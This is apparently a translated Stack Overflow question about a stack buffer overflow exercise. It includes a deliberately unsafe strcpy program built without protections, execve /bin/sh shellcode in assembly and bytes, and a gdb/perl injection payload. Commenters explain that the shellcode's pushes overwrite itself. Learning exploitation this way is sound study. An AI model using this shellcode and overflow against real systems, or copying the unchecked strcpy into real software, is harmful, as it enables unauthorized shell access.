【发布时间】:2015-01-08 15:12:20
【问题描述】:
我正在测试堆栈中正在运行的代码,导致溢出。我在堆栈中获得了指向我的汇编代码的教师指针,它开始运行。然而,在某一时刻,说明似乎会自行改变,我在解决这个问题时遇到了一些小麻烦。
bug2.c:
#include <stdio.h>
# Very simple case, compiled by
# gcc -o bug2 -z execstack -fno-pie -fno-stack-protector bug2.c
int main(int argc, char * argv[]) {
char buf[256];
if(argc == 1) {
printf("Usage: %s input\n", argv[0]);
exit(0);
}
strcpy(buf,argv[1]);
printf("%s", buf);
}
scode3.asm:
SECTION .text
global _start
_start:
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
push 0x1
pop rdi
push 0x3c
pop rax
syscall
测试 scode3.asm 并获取 shellcode:
$ nasm -f elf64 -o scode3.o scode3.asm
$ ld -o scode3 scode3.o
$ ./scode3
$ ... gave new shell... exit...
$ objdump -d scode3
scode3: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 d2 xor %rdx,%rdx
400083: 48 bb ff 2f 62 69 6e movabs $0x68732f6e69622fff,%rbx
40008a: 2f 73 68
40008d: 48 c1 eb 08 shr $0x8,%rbx
400091: 53 push %rbx
400092: 48 89 e7 mov %rsp,%rdi
400095: 48 31 c0 xor %rax,%rax
400098: 50 push %rax
400099: 57 push %rdi
40009a: 48 89 e6 mov %rsp,%rsi
40009d: b0 3b mov $0x3b,%al
40009f: 0f 05 syscall
4000a1: 6a 01 pushq $0x1
4000a3: 5f pop %rdi
4000a4: 6a 3c pushq $0x3c
4000a6: 58 pop %rax
4000a7: 0f 05 syscall
This makes "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f
\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31
\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01
\x5f\x6a\x3c\x58\x0f\x05"
然后是测试:
gdb -q bug2
# Let's put breakpoint at the printf (see the c code)
> break *0x0000000000400641
Breakpoint 1 at 0x400641
> x/i 0x0000000000400641
0x400641 <main+123>: call 0x400490 <printf@plt>
# Run with something that overflows, puts assembler code in stack, and leaves a pointer in stack pointing to the beginning of the assembler code
> run `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
Starting program: /home/meh/bug2 `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0000000000000000 RCX: 0xBE90050F583C6A5F RDX: 0x007FFFFFFFDCBE90 o d I t s z a P c
RSI: 0x00007FFFFFFFDBE0 RDI: 0x00000000004006F1 RBP: 0x00007FFFFFFFDCE0 RSP: 0x00007FFFFFFFDBD0 RIP: 0x0000000000400641
R8 : 0x000000335BDB8E80 R9 : 0x000000335BDB8E80 R10: 0x000000000000005D R11: 0x000000335BB7F980 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x400641 <main+123>: call 0x400490 <printf@plt>
0x400646 <main+128>: leave
0x400647 <main+129>: ret
0x400648: nop DWORD PTR [rax+rax*1+0x0]
0x400650 <__libc_csu_init>: push r15
0x400652 <__libc_csu_init+2>: push r14
0x400654 <__libc_csu_init+4>: mov r15d,edi
0x400657 <__libc_csu_init+7>: push r13
-----------------------------------------------------------------------------------------------------------------------------
Breakpoint 1, 0x0000000000400641 in main ()
# Okay, now let's step to the point where the instruction pointer is at the code that was put in stack:
> n 3
0x00007fffffffdcbe in ?? ()
> x/16i 0x00007fffffffdcbe
=> 0x7fffffffdcbe: xor rdx,rdx
0x7fffffffdcc1: movabs rbx,0x68732f6e69622fff
0x7fffffffdccb: shr rbx,0x8
0x7fffffffdccf: push rbx
0x7fffffffdcd0: mov rdi,rsp
0x7fffffffdcd3: xor rax,rax
0x7fffffffdcd6: push rax
0x7fffffffdcd7: push rdi
0x7fffffffdcd8: mov rsi,rsp
0x7fffffffdcdb: mov al,0x3b
0x7fffffffdcdd: syscall
0x7fffffffdcdf: push 0x1
0x7fffffffdce1: pop rdi
0x7fffffffdce2: push 0x3c
0x7fffffffdce4: pop rax
0x7fffffffdce5: syscall
这看起来是正确的代码。然后手动走向系统调用:
> si
=> 0x7fffffffdcd6: push rax
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0068732F6E69622F RCX: 0x000000007FFFFEF1 RDX: 0x0000000000000000 o d I t s Z a P c
RSI: 0x00000000004006F3 RDI: 0x00007FFFFFFFDCE8 RBP: 0x90050F583C6A5F01 RSP: 0x00007FFFFFFFDCE0 RIP: 0x00007FFFFFFFDCD7
R8 : 0x00000000FFFFFFFF R9 : 0x000000000000010E R10: 0x0000000000000022 R11: 0x0000000000000246 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd7: push rdi
0x7fffffffdcd8: mov rsi,rsp
0x7fffffffdcdb: mov al,0x3b
0x7fffffffdcdd: syscall
0x7fffffffdcdf: push 0x0
0x7fffffffdce1: add BYTE PTR [rax],al
0x7fffffffdce3: add BYTE PTR [rax],al
0x7fffffffdce5: add BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd7 in ?? ()
(gdb) > si
=> 0x7fffffffdcd7: push rdi
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0068732F6E69622F RCX: 0x000000007FFFFEF1 RDX: 0x0000000000000000 o d I t s Z a P c
RSI: 0x00000000004006F3 RDI: 0x00007FFFFFFFDCE8 RBP: 0x90050F583C6A5F01 RSP: 0x00007FFFFFFFDCD8 RIP: 0x00007FFFFFFFDCD8
R8 : 0x00000000FFFFFFFF R9 : 0x000000000000010E R10: 0x0000000000000022 R11: 0x0000000000000246 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd8: call 0x7fffffffdcb9
0x7fffffffdcdd: jg 0x7fffffffdcdf
0x7fffffffdcdf: add BYTE PTR [rax],al
0x7fffffffdce1: add BYTE PTR [rax],al
0x7fffffffdce3: add BYTE PTR [rax],al
0x7fffffffdce5: add BYTE PTR [rax],al
0x7fffffffdce7: add BYTE PTR [rdi],ch
0x7fffffffdce9: (bad)
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd8 in ?? ()
我期待下一条指令是 mov rsi,rsp,但似乎从那时起的一切都发生了变化。
我怀疑推送到堆栈会覆盖我之前插入的数据(指令)?解决此问题的最小方法是什么?
我试着用类似的东西移动代码
run `perl -e 'print "\x90" x (263-81) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90" x 40 . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
但这似乎对我没有帮助。
【问题讨论】:
-
不要使用
push或移动堆栈指针以免干扰您的代码? -
@Jester 是的,但是设置系统调用需要这样做吗?
-
我现在想不出任何需要堆栈的系统调用。无论如何,然后使用第二种方法(将 rsp 移开)。
标签: assembly